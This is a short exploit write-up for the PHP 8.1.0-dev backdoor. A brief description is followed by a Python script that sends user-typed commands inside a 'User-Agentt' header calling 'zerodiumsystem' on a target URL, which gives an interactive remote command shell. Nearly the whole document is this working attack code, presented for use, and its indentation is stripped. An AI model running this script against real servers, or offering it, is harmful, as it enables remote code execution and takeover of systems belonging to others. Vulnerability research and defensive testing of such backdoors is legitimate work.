An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""

#!/usr/bin/env python3
import os
import re
import requests

host = input("Enter the full host url: ")
request = requests.Session()
response = request.get(host)

if str(response) == '<Response [200]>':
print(" Interactive shell is opened on", host, " Can't acces tty; job crontol turned off.")
try:
while 1:
cmd = input("$ ")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"User-Agentt": "zerodiumsystem('" + cmd + "');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split('<!DOCTYPE html>',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit

else:
print(" ")
print(response)
print("Host is not available, aborting...")
exit
